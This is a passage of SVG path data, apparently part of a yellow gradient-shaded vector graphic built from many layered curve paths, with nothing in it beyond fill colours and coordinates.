<path fill="#FFEA49" d="M32.404,65.047l0.002,0.013l-1.396-1.46L7.972,40.523l-0.167-0.281l-0.004-0.018 c0-0.098,0.044-0.496,0.044-0.496c0.033-0.072,15.117-14.731,23.974-22.256c0,0,12.167-9.817,12.399-10.004 c0-0.054-0.358-6.065-0.358-6.32c-0.198,0.176-18.256,16.291-18.256,16.291C18.921,23.304,6.457,37.015,5.11,38.354 c-0.241,0.237-0.377,0.538-0.377,0.85c0,0.316,0.133,0.614,0.378,0.837l0.083,0.065c4.142,3.957,14.399,13.709,20.098,19.22 c1.977,1.911,2.71,2.513,3.428,3.098l0.002,0.003l-0.002,0.033c0.186,0.109,0.754,0.587,2.979,2.391l0.342,0.281 c0,0,0.803,0.601,1.33,1.008C33.21,65.95,32.404,65.047,32.404,65.047"/>
<path fill="#FFEA50" d="M32.356,65.091l0.011,0.023l-1.406-1.47L7.931,40.551l-0.178-0.274l-0.011-0.043l0.046-0.516 c0.023-0.062,14.922-14.588,23.997-22.281c0,0,12.141-9.806,12.37-9.992c0-0.064-0.353-5.912-0.353-6.161 c-0.202,0.171-18.153,16.188-18.153,16.188C18.968,23.356,6.502,37.064,5.156,38.405c-0.233,0.214-0.358,0.494-0.358,0.799 c0,0.29,0.123,0.581,0.358,0.798l0.077,0.065c4.146,3.942,14.398,13.714,20.098,19.219c1.979,1.903,2.715,2.513,3.424,3.087 c0.188,0.155,3.324,2.707,3.324,2.707s0.462,0.349,0.839,0.639C32.644,65.423,32.356,65.091,32.356,65.091"/>
<path fill="#FFEA56" d="M32.315,65.141l0.006,0.005l-1.399-1.459L7.886,40.589l-0.184-0.273L7.68,40.237l0.046-0.531 C7.802,39.521,23.12,24.708,31.749,17.39c0,0,12.118-9.78,12.352-9.976c0-0.059-0.363-5.752-0.363-5.993 c-0.196,0.173-18.049,16.104-18.049,16.104c-6.68,5.873-19.146,19.583-20.49,20.93c-0.218,0.196-0.343,0.467-0.343,0.75 c0,0.28,0.119,0.549,0.34,0.747l0.08,0.089c4.139,3.92,14.388,13.681,20.099,19.2c1.968,1.909,2.707,2.498,3.414,3.081 l3.324,2.726c0.009,0,0.081,0.044,0.345,0.246C32.403,65.236,32.315,65.141,32.315,65.141"/>
<path fill="#FFEA5B" d="M30.875,63.738L11.058,43.856l-3.215-3.221L7.65,40.34l-0.028-0.103l0.043-0.543 c0.076-0.174,15.389-15.017,24.039-22.359c0,0,12.104-9.753,12.326-9.955c0-0.043-0.353-5.581-0.353-5.827 c-0.196,0.179-17.955,16.019-17.955,16.019C19.05,23.432,6.588,37.142,5.244,38.488c-0.209,0.19-0.327,0.449-0.327,0.717 c0,0.258,0.11,0.524,0.318,0.695l0.079,0.079c4.137,3.954,14.382,13.701,20.101,19.211c1.963,1.91,2.702,2.518,3.41,3.096 c0.008,0.006,2.583,2.104,3.042,2.469C31.456,64.327,30.875,63.738,30.875,63.738"/>
<path fill="#FFEB61" d="M30.835,63.774L7.798,40.691l-0.2-0.322l-0.034-0.127c0-0.031,0.042-0.55,0.042-0.55 c0.071-0.181,15.381-15.024,24.06-22.391c0,0,12.079-9.75,12.313-9.951c0-0.043-0.358-5.415-0.358-5.659 C43.421,1.862,25.768,17.61,25.768,17.61c-6.642,5.839-19.136,19.569-20.485,20.91c-0.192,0.183-0.309,0.431-0.309,0.684 c0,0.246,0.111,0.488,0.306,0.657l0.075,0.075c4.128,3.92,14.342,13.65,20.106,19.221c1.961,1.89,2.689,2.493,3.4,3.063 c0,0,2.12,1.742,2.269,1.857C31.006,63.949,30.835,63.774,30.835,63.774"/>
<path fill="#FFEC66" d="M10.972,43.953L7.758,40.73l-0.211-0.329l-0.028-0.086l-0.018-0.073l0.045-0.55 c0.067-0.188,15.379-15.051,24.081-22.434c0,0,12.059-9.741,12.287-9.929c0-0.053-0.351-5.261-0.351-5.507 C43.36,1.999,25.808,17.654,25.808,17.654C19.169,23.5,6.674,37.223,5.329,38.564c-0.186,0.171-0.291,0.405-0.291,0.64 c0,0.227,0.101,0.452,0.279,0.629l0.082,0.065c4.117,3.925,14.32,13.632,20.102,19.22c1.964,1.898,2.698,2.487,3.404,3.07 c0,0,0.768,0.616,1.414,1.148C28.617,61.632,22.143,55.145,10.972,43.953"/>
<path fill="#FFEC6B" d="M7.712,40.758l-0.215-0.326l-0.036-0.116l-0.015-0.071l0.04-0.552c0.066-0.198,15.38-15.089,24.1-22.492 c0,0,12.039-9.709,12.273-9.894c0-0.062-0.363-5.104-0.363-5.356C43.3,2.131,25.846,17.708,25.846,17.708 C19.214,23.537,6.714,37.273,5.368,38.617c-0.173,0.146-0.271,0.37-0.271,0.588c0,0.213,0.096,0.421,0.265,0.57l0.08,0.085 C9.569,43.79,19.8,53.523,25.546,59.071c1.968,1.908,2.693,2.494,3.395,3.069c0,0,0.231,0.182,0.503,0.417 C27.985,61.084,7.712,40.758,7.712,40.758"/>
<path fill="#FFEC6B" d="M7.672,40.803l-0.008-0.006l-0.218-0.343L7.4,40.343c-0.006-0.048-0.018-0.098-0.018-0.098l0.042-0.553 c0.067-0.208,15.386-15.121,24.121-22.527c0,0,12.023-9.694,12.245-9.889c0-0.059-0.352-4.95-0.352-5.196 c-0.2,0.176-17.547,15.671-17.547,15.671C19.282,23.546,6.763,37.316,5.413,38.658c-0.164,0.142-0.255,0.345-0.255,0.547 c0,0.191,0.089,0.382,0.242,0.524l0.086,0.08c4.133,3.942,14.363,13.678,20.1,19.211c1.592,1.545,2.369,2.229,2.98,2.723 C27.011,60.188,7.672,40.803,7.672,40.803"/>
<path fill="#FFEC71" d="M7.628,40.849l-0.013-0.021l-0.217-0.342l-0.049-0.139L7.327,40.27l0.037-0.584 c0.064-0.201,15.381-15.14,24.147-22.562c0,0,11.992-9.678,12.226-9.879c0-0.042-0.358-4.787-0.358-5.029 C43.181,2.387,25.93,17.784,25.93,17.784C19.325,23.601,6.808,37.349,5.452,38.695c-0.152,0.137-0.237,0.321-0.237,0.509 c0,0.18,0.083,0.354,0.227,0.488l0.081,0.065c3.202,3.062,14.122,13.441,20.108,19.228c0.663,0.653,1.185,1.135,1.607,1.517 C24.981,58.249,7.628,40.849,7.628,40.849"/>
<path fill="#FFEC71" d="M7.589,40.9l-0.024-0.037l-0.217-0.34l-0.06-0.142L7.262,40.27l0.042-0.596 c0.061-0.189,15.388-15.149,24.166-22.605c0,0,11.975-9.654,12.202-9.858c0-0.042-0.352-4.618-0.352-4.859 c-0.201,0.171-17.354,15.486-17.354,15.486C19.367,23.64,6.849,37.385,5.498,38.729C5.357,38.865,5.28,39.04,5.28,39.205 c0,0.162,0.069,0.316,0.208,0.452l0.077,0.072C8.431,42.45,17.456,51.044,23.62,56.957C18.834,52.159,7.589,40.9,7.589,40.9"/>
<path fill="#FFED7A" d="M7.543,40.93L7.515,40.9l-0.218-0.35L7.23,40.401l-0.024-0.125l0.039-0.61 C7.3,39.485,22.632,24.498,31.424,17.025c0,0,11.96-9.644,12.195-9.832c0-0.054-0.363-4.463-0.363-4.705 C43.06,2.664,26.01,17.885,26.01,17.885C19.41,23.674,6.893,37.43,5.542,38.779c-0.132,0.12-0.205,0.267-0.205,0.426 c0,0.143,0.065,0.28,0.187,0.396c0.001,0.002,9.298,8.875,14.568,13.909C15.818,49.231,7.543,40.93,7.543,40.93"/>
<path fill="#FFED7E" d="M7.5,40.966L7.465,40.93l-0.221-0.341l-0.07-0.171l-0.029-0.142l0.038-0.62 c0.062-0.171,15.39-15.19,24.206-22.669c0,0,11.938-9.631,12.16-9.82c0-0.059-0.351-4.305-0.351-4.547 C42.997,2.794,26.05,17.921,26.05,17.921c-6.594,5.793-19.116,19.562-20.465,20.91c-0.118,0.105-0.186,0.242-0.186,0.373 c0,0.131,0.057,0.246,0.167,0.354c0.001,0,7.317,6.99,10.996,10.503C12.926,46.407,7.5,40.966,7.5,40.966"/>
<path fill="#FFEE83" d="M7.455,41.018l-0.044-0.052l-0.217-0.34l-0.071-0.179l-0.034-0.17l0.035-0.621 c0.054-0.171,15.397-15.222,24.228-22.723c0,0,11.911-9.598,12.144-9.794c0-0.057-0.357-4.147-0.357-4.382 C42.939,2.93,26.087,17.964,26.087,17.964C19.523,23.742,6.984,37.524,5.626,38.865c-0.105,0.104-0.17,0.216-0.17,0.339 c0,0.108,0.053,0.217,0.152,0.316c0,0,4.804,4.582,7.426,7.094C10.395,43.96,7.455,41.018,7.455,41.018"/>
<path fill="#FFEF87" d="M7.415,41.067l-0.051-0.062h0.018c-0.033-0.039-0.098-0.125-0.241-0.35l-0.082-0.199l-0.035-0.18 l0.037-0.62c0.057-0.176,15.403-15.259,24.25-22.769c0,0,11.894-9.58,12.121-9.78c0-0.044-0.352-3.99-0.352-4.222 c-0.201,0.177-16.948,15.134-16.948,15.134c-6.56,5.758-19.107,19.538-20.461,20.88c-0.097,0.104-0.15,0.208-0.15,0.306 c0,0.096,0.044,0.185,0.125,0.275c0,0.002,2.756,2.621,3.858,3.678C8.522,42.177,7.415,41.067,7.415,41.067"/>
<path fill="#FFEF8B" d="M7.369,41.108L7.369,41.108L7.369,41.108 M7.095,40.692l-0.088-0.208l-0.04-0.174v-0.004l0.038-0.65 c0.051-0.184,15.404-15.293,24.266-22.805c0,0,11.871-9.574,12.107-9.776c0-0.043-0.362-3.826-0.362-4.062 c-0.197,0.179-16.845,15.045-16.845,15.045C19.608,23.812,7.068,37.59,5.711,38.942c-0.085,0.092-0.133,0.167-0.133,0.262 c0,0.077,0.042,0.158,0.113,0.221c0,0.003,1.023,0.992,1.553,1.484C7.175,40.82,7.095,40.692,7.095,40.692z"/>
<path fill="#FFEF8F" d="M7.044,40.73L7.044,40.73L7.044,40.73 M6.953,40.519l-0.046-0.203l0,0l0.035-0.659 c0.051-0.192,15.414-15.327,24.29-22.856c0,0,11.855-9.557,12.077-9.743c0-0.054-0.352-3.671-0.352-3.911 c-0.2,0.173-16.748,14.95-16.748,14.95C19.688,23.844,7.11,37.629,5.755,38.995c-0.074,0.066-0.116,0.148-0.116,0.21 c0,0.065,0.035,0.13,0.093,0.18c0,0,0.877,0.842,1.251,1.205L6.953,40.519z"/>
<path fill="#FFEF93" d="M6.849,40.32c0-0.044,0.033-0.664,0.033-0.664c0.052-0.202,15.417-15.359,24.31-22.906 c0,0,11.831-9.536,12.063-9.721c0-0.062-0.359-3.514-0.359-3.747c-0.199,0.171-16.645,14.865-16.645,14.865 C19.73,23.88,7.156,37.679,5.797,39.04l-0.1,0.165l0.076,0.143c0.005,0,0.92,0.874,1.088,1.035L6.849,40.32"/>
<path fill="#FFF197" d="M6.822,39.656c0.047-0.206,15.421-15.397,24.327-22.942c0.122-0.101,11.644-9.373,12.04-9.711 c0-0.056-0.02-0.833-0.02-0.833s-0.323-2.517-0.323-2.756c-0.192,0.172-16.552,14.783-16.552,14.783 c-5.078,4.444-13.867,13.851-18.086,18.36l-2.373,2.518h0.002c0,0-0.049,0.098-0.071,0.136l0.061,0.104 c0.004,0,0.696,0.659,0.968,0.929C6.8,40.107,6.822,39.656,6.822,39.656"/>
<path fill="#FFF19B" d="M6.763,39.651v-0.025c0.049-0.176,15.43-15.397,24.353-22.958c0-0.001,11.78-9.495,12.021-9.703 C43.135,6.919,43.1,6.169,43.1,6.169s-0.298-2.094-0.312-2.623c-0.186,0.161-16.461,14.686-16.461,14.686 c-5.073,4.468-13.857,13.854-18.08,18.371l-2.364,2.502l0.015-0.055c0,0-0.049,0.099-0.065,0.152l0.049,0.079l-0.029-0.001 c0.083,0.066,0.296,0.264,0.889,0.826C6.749,39.942,6.763,39.651,6.763,39.651"/>
<path fill="#FFF19F" d="M6.707,39.645l0.004-0.019c0.043-0.183,15.439-15.434,24.369-23.013c0,0,11.748-9.472,11.988-9.674 c0-0.046-0.021-0.767-0.021-0.767s-0.304-1.985-0.321-2.51c-0.184,0.173-16.353,14.614-16.353,14.614 c-5.075,4.465-13.852,13.837-18.074,18.351c0.01,0,0,0-2.375,2.522l-0.017,0.027l-0.008,0.024l0.033,0.062l-0.046-0.021 c0.084,0.044,0.28,0.243,0.803,0.724C6.693,39.834,6.707,39.645,6.707,39.645"/>
<path fill="#FFF1A3" d="M6.645,39.639l0.004-0.041c0.047-0.18,15.456-15.441,24.389-23.02c-0.002,0.002,0.002-0.001,6.522-5.373 c0,0,5.403-4.244,5.453-4.287c-0.003-0.053-0.324-2.612-0.343-3.121c-0.189,0.174-16.26,14.533-16.26,14.533 c-5.07,4.45-13.845,13.831-18.065,18.343V36.66C8.312,36.713,8.214,36.812,8,37.042l-2.029,2.155l0.02,0.044 c0.098,0.071,0.284,0.243,0.646,0.592C6.64,39.744,6.645,39.639,6.645,39.639"/>
<path fill="#FFF2A7" d="M6.588,39.632l0.003-0.045c0.049-0.169,15.47-15.466,24.405-23.053l-0.003,0.009 c0.028-0.034,0.071-0.067,0.192-0.171c0,0,11.723-9.446,11.761-9.48c0-0.063-0.324-2.73-0.327-2.961 C42.43,4.1,26.446,18.37,26.446,18.37c-5.069,4.446-13.84,13.844-18.06,18.352l-0.319,0.342c-0.026,0.013-1.822,1.934-2.015,2.138 c0.058,0.068,0.368,0.357,0.529,0.504L6.588,39.632"/>
<path fill="#FFF3AB" d="M26.49,18.403c-5.073,4.472-13.84,13.852-18.059,18.361l-0.322,0.345c0,0-1.768,1.861-1.978,2.087 c0.058,0.046,0.289,0.281,0.404,0.39c0.045-0.201,15.482-15.506,24.423-23.11l0.189-0.142c0,0,11.47-9.263,11.744-9.469 c-0.014-0.052-0.084-0.694-0.084-0.694c-0.085-0.753-0.205-1.794-0.241-2.126C42.397,4.208,26.49,18.403,26.49,18.403"/>
<path fill="#FFF3AF" d="M26.531,18.458C21.46,22.914,12.693,32.288,8.482,36.799c-0.011,0-2.054,2.17-2.266,2.393 c0.061,0.05,0.255,0.25,0.317,0.294c1.004-1.102,15.729-15.708,24.392-23.047l0.19-0.158c0-0.008,11.353-9.159,11.712-9.451 c-0.007-0.049-0.078-0.654-0.078-0.654s-0.182-1.57-0.227-2.001C42.358,4.317,26.531,18.458,26.531,18.458"/>
<path fill="#FFF3B3" d="M26.567,18.504C21.505,22.95,12.743,32.32,8.535,36.833c-0.014,0.002-2.163,2.274-2.234,2.359 c0.046,0.049,0.185,0.18,0.229,0.226c1.254-1.372,15.83-15.784,24.355-23.021l0.192-0.162c0,0,11.632-9.376,11.679-9.419 c0-0.061-0.066-0.638-0.066-0.638c0-0.001-0.167-1.47-0.208-1.892C42.31,4.445,26.567,18.504,26.567,18.504"/>
<path fill="#FFF5B8" d="M26.605,18.541c-5.056,4.444-13.817,13.814-18.031,18.327c0,0-2.118,2.239-2.191,2.318 c0.04,0.046,0.122,0.127,0.142,0.138c1.448-1.539,15.789-15.73,24.319-22.983l0.19-0.146c-0.003,0.004-0.003,0.004,6.523-5.267 c0,0,5.095-4.098,5.145-4.139c-0.011-0.063-0.066-0.598-0.066-0.598c0-0.002-0.186-1.6-0.205-1.774 C42.26,4.558,26.605,18.541,26.605,18.541"/>
<path fill="#FFF5BB" d="M26.646,18.586C21.587,23.036,12.828,32.4,8.62,36.9c0.004,0,0.003,0-1.121,1.198 c0,0-0.958,1.008-1.029,1.083l0.054,0.061c1.605-1.691,15.809-15.741,24.28-22.94l0.189-0.157l-0.001,0.047 c0.038-0.064,0.234-0.235,1.12-0.958c0,0,10.474-8.44,10.526-8.473c-0.006-0.064-0.071-0.56-0.071-0.56 c0-0.007-0.161-1.506-0.184-1.674C42.215,4.687,26.646,18.586,26.646,18.586"/>
<path fill="#FFF5BF" d="M26.686,18.641c-5.062,4.444-13.816,13.81-18.023,18.298V36.93c-0.02,0.041-0.072,0.087-0.223,0.25 c0,0-0.386,0.411-0.646,0.69c4.076-4.1,15.653-15.401,22.977-21.606l0.188-0.167L30.94,16.16c0.038-0.066,0.175-0.194,1.138-0.959 c0,0,10.442-8.426,10.49-8.475c-0.001-0.046-0.054-0.521-0.054-0.521c0-0.002-0.156-1.416-0.17-1.547 C42.17,4.799,26.686,18.641,26.686,18.641"/>
<path fill="#FFE600" d="M50.703,9.138l2.036,2.459l2.105,2.394l1.428,1.453c7.526,7.541,22.884,22.958,23.033,23.113 c0.052,0.034,0.063,0.07,0.063,0.119v0.009c0,0.044-0.028,0.077-0.044,0.115c-0.659,0.619-15.666,15.058-23.828,22.01 L42.911,70.973l0.357,7.753l19.153-17.079c7.023-6.171,20.397-20.818,20.527-20.954c0.338-0.305,0.521-0.743,0.521-1.208 c0-0.463-0.183-0.895-0.548-1.232l-0.074-0.077c-2.307-2.187-14.125-13.435-20.088-19.191c-2.032-1.97-2.764-2.577-3.514-3.169 l-3.268-2.683L50.703,9.138"/>
<path fill="#FFE600" d="M76.582,47.172c2.343-2.484,4.295-4.586,5.34-5.724l-0.002,0.093c-0.177,0.193-0.377,0.424-0.593,0.646 c-0.142,0.16-0.311,0.338-0.481,0.536C79.816,43.828,78.439,45.284,76.582,47.172 M43.43,76.443 c-0.047-0.034-0.09-0.068-0.141-0.106c-0.101-2.198-0.254-5.267-0.254-5.304c0.225-0.202,12.529-10.147,12.529-10.147 c7.989-6.765,22.238-20.468,23.845-22.021c0,0,0.096-0.17,0.096-0.208v-0.003L79.4,38.461l-3.221-3.214L56.355,15.372 l-1.416-1.473c-1.913-2.152-2.096-2.352-2.154-2.396l0.053,0.011c0,0-0.958-1.132-1.373-1.653c0.584,0.455,4.423,3.368,4.44,3.372 l3.312,2.707c0.719,0.597,1.477,1.19,3.459,3.121c5.224,5.059,14.831,14.209,19.404,18.558l-0.013,0.152 c-4.521-4.308-14.199-13.513-19.479-18.618c-1.993-1.922-2.722-2.538-3.448-3.124l-3.33-2.705c0,0-2.562-1.947-3.591-2.733 c0.312,0.375,0.704,0.857,0.704,0.857l-0.051-0.038c0.06,0.04,0.177,0.174,2.037,2.276l0.133,0.137l1.408,1.464l23.025,23.098 l0.132,0.208l0,0c0,0.063-0.08,0.308-0.08,0.308c-0.128,0.146-15.484,14.95-23.88,22.081c0,0-12.265,9.916-12.497,10.104 C43.152,71.111,43.325,74.344,43.43,76.443"/>
<path fill="#FFE600" d="M72.715,51.025c3.973-4.137,7.612-8.084,9.225-9.785l-0.018,0.208c-1.045,1.138-2.997,3.239-5.34,5.724 C75.473,48.292,74.197,49.58,72.715,51.025 M43.567,76.552c-0.045-0.035-0.085-0.073-0.137-0.108 c-0.105-2.1-0.278-5.332-0.278-5.36c0.232-0.188,12.497-10.104,12.497-10.104c8.396-7.131,23.752-21.934,23.88-22.081 c0,0,0.08-0.244,0.08-0.308l0,0l-0.132-0.208L56.451,15.286l-1.408-1.464l-0.133-0.137c-1.86-2.103-1.978-2.236-2.037-2.276 l0.051,0.038c0,0-0.393-0.482-0.704-0.857c1.028,0.786,3.591,2.733,3.591,2.733l3.33,2.705c0.727,0.585,1.455,1.201,3.448,3.124 c5.279,5.105,14.957,14.311,19.479,18.618l-0.006,0.166c-4.454-4.24-14.147-13.472-19.555-18.706 c-1.986-1.916-2.725-2.516-3.434-3.1l-3.341-2.719c0,0-2.201-1.66-2.754-2.091l0.034,0.051v0.012l2.107,2.367l1.406,1.451 l23.045,23.099l0.142,0.235v0.019c0,0.059-0.074,0.384-0.074,0.384c-0.067,0.104-15.251,14.779-23.906,22.138 c0,0-12.229,9.866-12.458,10.068C43.275,71.181,43.463,74.559,43.567,76.552"/>
<path fill="#FFE600" d="M69.678,53.99c5.09-5.203,10.341-10.89,12.273-12.938l-0.012,0.188c-1.612,1.701-5.252,5.648-9.225,9.785 C71.788,51.94,70.765,52.924,69.678,53.99 M50.674,71.49c2.562-2.274,5.369-4.783,7.545-6.733 C55.081,67.635,52.61,69.832,50.674,71.49 M43.704,76.656c-0.033-0.036-0.084-0.074-0.137-0.104 c-0.104-1.993-0.292-5.371-0.292-5.409c0.228-0.202,12.458-10.068,12.458-10.068c8.655-7.358,23.839-22.034,23.906-22.138 c0,0,0.074-0.325,0.074-0.384v-0.019l-0.142-0.235L56.526,15.201L55.12,13.75l-2.107-2.367v-0.012l-0.034-0.051 c0.553,0.431,2.754,2.091,2.754,2.091l3.341,2.719c0.709,0.584,1.447,1.185,3.434,3.1c5.407,5.234,15.101,14.465,19.555,18.706 l-0.006,0.161c-4.397-4.19-14.125-13.455-19.636-18.773c-1.972-1.917-2.72-2.521-3.433-3.101l0.059,0.008 c-0.068-0.008-0.393-0.281-3.048-2.446l-0.332-0.273c0-0.002-1.486-1.134-1.822-1.378c0.482,0.547,1.38,1.527,1.38,1.527 l1.398,1.465l19.814,19.868l3.207,3.221l0.173,0.266v0.008c0,0.094-0.066,0.479-0.066,0.479 c-0.031,0.072-15.093,14.685-23.942,22.187c0,0-12.188,9.851-12.415,10.04C43.393,71.235,43.601,74.825,43.704,76.656"/>
<path fill="#FFE200" d="M65.658,57.82c6.101-5.936,13.96-14.474,16.293-16.957v0.188c-1.933,2.049-7.184,7.735-12.273,12.938 C68.445,55.164,67.105,56.443,65.658,57.82 M47.843,73.863c5.338-4.76,14.186-12.652,14.186-12.652 c0.22-0.193,0.457-0.402,0.701-0.635c-1.646,1.541-3.135,2.919-4.512,4.181c-2.176,1.95-4.982,4.459-7.545,6.733 C49.564,72.455,48.628,73.225,47.843,73.863 M43.746,76.687c0,0-0.018-0.019-0.042-0.03c-0.103-1.831-0.311-5.421-0.311-5.462 c0.227-0.19,12.415-10.041,12.415-10.041c8.85-7.502,23.911-22.115,23.942-22.187c0,0,0.066-0.384,0.066-0.479V38.48l-0.173-0.266 l-3.207-3.221L56.622,15.125l-1.398-1.465c0,0-0.897-0.98-1.38-1.527c0.336,0.244,1.822,1.375,1.822,1.378l0.332,0.273 c2.655,2.165,2.979,2.438,3.048,2.446l-0.059-0.008c0.713,0.581,1.461,1.185,3.433,3.101c5.511,5.318,15.238,14.583,19.636,18.773 v0.15c-4.37-4.136-14.193-13.505-19.712-18.842c-1.98-1.902-2.721-2.517-3.434-3.098c-0.173-0.145-3.311-2.7-3.311-2.7 s-0.464-0.343-0.841-0.642c0.271,0.306,0.563,0.619,0.563,0.619l-0.016-0.002l1.389,1.452l23.045,23.11l0.18,0.273l0.005,0.038 l-0.043,0.515c-0.03,0.062-14.911,14.579-23.994,22.285c0,0-12.149,9.796-12.372,9.993c0,0.041,0.225,3.82,0.321,5.438 c-0.001,0-0.001,0-0.001,0L43.746,76.687"/>
<path fill="#FFDE00" d="M46.332,75.041c4.87-4.338,15.606-13.919,15.606-13.919c6.194-5.45,17.338-17.605,20.021-20.43 l-0.008,0.171c-2.333,2.483-10.192,11.021-16.293,16.957c-0.519,0.485-1.037,0.983-1.581,1.477 c-0.454,0.445-0.901,0.867-1.347,1.279c-0.244,0.232-0.481,0.441-0.701,0.635c0,0-8.848,7.893-14.186,12.652 C47.261,74.325,46.764,74.722,46.332,75.041 M43.836,76.686c-0.096-1.618-0.321-5.397-0.321-5.438 c0.223-0.197,12.372-9.993,12.372-9.993c9.083-7.706,23.964-22.223,23.994-22.285l0.043-0.515l-0.005-0.038l-0.18-0.273 l-23.045-23.11l-1.389-1.452l0.016,0.002c0,0-0.293-0.313-0.563-0.619c0.377,0.298,0.841,0.642,0.841,0.642s3.138,2.555,3.311,2.7 c0.713,0.581,1.453,1.196,3.434,3.098c5.519,5.337,15.342,14.706,19.712,18.842l-0.002,0.17 c-4.337-4.115-14.229-13.535-19.805-18.929c-1.964-1.91-2.692-2.497-3.411-3.083c0,0-2.583-2.102-3.03-2.479 c0.406,0.433,0.993,1.034,0.993,1.034l19.811,19.868l3.211,3.211l0.2,0.312l0.026,0.104l-0.05,0.528 c-0.074,0.193-15.378,15.02-24.026,22.355c0,0-12.111,9.767-12.339,9.968c0,0.045,0.251,3.905,0.331,5.324 C43.894,76.664,43.86,76.674,43.836,76.686"/>
<path fill="#FFDA00" d="M45.304,75.798c3.987-3.55,16.562-14.767,16.562-14.767c6.221-5.464,17.59-17.893,20.096-20.51 l-0.002,0.171c-2.683,2.824-13.826,14.979-20.021,20.43c0,0-10.736,9.581-15.606,13.919 C45.936,75.347,45.602,75.594,45.304,75.798 M43.964,76.63c-0.08-1.419-0.331-5.279-0.331-5.324 c0.228-0.201,12.339-9.968,12.339-9.968c8.648-7.335,23.952-22.162,24.026-22.355l0.05-0.528l-0.026-0.104l-0.2-0.312 l-3.211-3.211L56.801,14.96c0,0-0.587-0.601-0.993-1.034c0.447,0.377,3.03,2.479,3.03,2.479c0.719,0.585,1.447,1.173,3.411,3.083 c5.576,5.394,15.468,14.814,19.805,18.929l-0.014,0.149c-4.257-4.041-14.203-13.513-19.867-18.991 c-1.964-1.898-2.697-2.499-3.408-3.067c0,0-0.768-0.632-1.406-1.166c1.688,1.717,8.163,8.195,19.334,19.391l3.227,3.238 l0.208,0.309l0.025,0.104l0.01,0.071l-0.035,0.548c-0.074,0.174-15.382,15.054-24.082,22.431c0,0-12.064,9.736-12.289,9.923 c0,0.046,0.273,4.055,0.344,5.214C44.049,76.591,44,76.62,43.964,76.63"/>
<path fill="#FFD800" d="M44.604,76.277c2.507-2.244,17.178-15.332,17.178-15.332c6.279-5.51,17.894-18.22,20.195-20.621 l-0.016,0.197c-2.506,2.617-13.875,15.046-20.096,20.51c0,0-12.574,11.217-16.562,14.767 C45.022,75.997,44.789,76.166,44.604,76.277 M44.101,76.57c-0.071-1.159-0.344-5.168-0.344-5.214 c0.225-0.187,12.289-9.923,12.289-9.923c8.7-7.377,24.008-22.257,24.082-22.431l0.035-0.548l-0.01-0.071l-0.025-0.104 l-0.208-0.309l-3.227-3.238C65.521,23.537,59.046,17.059,57.358,15.342c0.639,0.534,1.406,1.166,1.406,1.166 c0.711,0.568,1.444,1.169,3.408,3.067c5.664,5.479,15.61,14.951,19.867,18.991l-0.016,0.163 C77.81,34.7,67.756,25.126,62.072,19.661c-1.579-1.536-2.355-2.221-2.958-2.725c1.548,1.562,20.879,20.938,20.879,20.938 l0.006,0.016l0.226,0.329l0.036,0.133c0.01,0.034,0.029,0.081,0.029,0.081l-0.055,0.571c-0.058,0.189-15.37,15.107-24.124,22.529 c0,0-12.006,9.684-12.237,9.886c0,0.043,0.313,4.326,0.356,5.079C44.186,76.524,44.133,76.555,44.101,76.57"/>
<path fill="#FED600" d="M44.23,76.496c-0.043-0.753-0.356-5.036-0.356-5.079c0.231-0.202,12.237-9.886,12.237-9.886 c8.754-7.422,24.066-22.339,24.124-22.529l0.055-0.571c0,0-0.02-0.046-0.029-0.081l-0.036-0.133l-0.226-0.329l-0.006-0.016 c0,0-19.331-19.375-20.879-20.938c0.603,0.504,1.379,1.189,2.958,2.725C67.756,25.126,77.81,34.7,82.024,38.729v0.168 c-2.948-2.819-11.866-11.297-17.98-17.179c4.782,4.8,16.046,16.08,16.046,16.08l0.01,0.027l0.228,0.341l0.047,0.146l0.033,0.104 l-0.043,0.586c-0.061,0.207-15.39,15.16-24.162,22.61c0,0-11.977,9.671-12.206,9.856c0,0.052,0.361,4.629,0.361,4.877 c0.196-0.181,17.335-15.498,17.335-15.498c6.373-5.581,18.227-18.555,20.289-20.703l-0.006,0.18 c-2.302,2.401-13.916,15.111-20.195,20.621c0,0-14.671,13.088-17.178,15.332C44.449,76.375,44.327,76.45,44.23,76.496"/>
<path fill="#FDD402" d="M44.358,76.346c0-0.248-0.361-4.825-0.361-4.877c0.229-0.186,12.206-9.856,12.206-9.856 c8.772-7.45,24.102-22.403,24.162-22.61l0.043-0.586l-0.033-0.104l-0.047-0.146L80.1,37.825l-0.01-0.027 c0,0-11.264-11.28-16.046-16.08c6.114,5.881,15.032,14.359,17.98,17.179l-0.008,0.149c-0.802-0.766-7.466-7.124-10.914-10.409 c3.649,3.638,9.062,9.083,9.062,9.083l0.037,0.046l0.225,0.338l0.078,0.162l0.016,0.151l-0.043,0.605 C80.43,39.21,65.103,54.228,56.29,61.707c0,0-11.941,9.616-12.173,9.813c0,0.058,0.357,4.307,0.357,4.55 c0.202-0.178,17.151-15.303,17.151-15.303c6.451-5.682,18.6-18.997,20.357-20.802v0.179c-2.062,2.148-13.916,15.122-20.289,20.703 C61.693,60.848,44.554,76.165,44.358,76.346"/>
<path fill="#FDD303" d="M44.474,76.07c0-0.243-0.357-4.492-0.357-4.55c0.232-0.197,12.173-9.813,12.173-9.813 c8.812-7.479,24.14-22.497,24.187-22.685l0.043-0.605l-0.016-0.151l-0.078-0.162l-0.225-0.338l-0.037-0.046 c0,0-5.412-5.444-9.062-9.083c3.448,3.285,10.112,9.643,10.914,10.409v0.165c-0.134-0.137-2.78-2.654-3.854-3.682 c0.979,0.995,2.098,2.1,2.098,2.1l0.045,0.066l-0.008-0.01c0.025,0.035,0.084,0.113,0.229,0.354l0.081,0.179l0.029,0.185 l-0.029,0.636c-0.063,0.172-15.403,15.263-24.253,22.772c0,0-11.886,9.576-12.118,9.776c0,0.04,0.363,3.976,0.363,4.211 c0.197-0.173,16.941-15.129,16.941-15.129c6.554-5.752,19.066-19.495,20.444-20.874l-0.004,0.171 c-1.758,1.805-13.906,15.12-20.357,20.802C61.625,60.768,44.676,75.893,44.474,76.07"/>
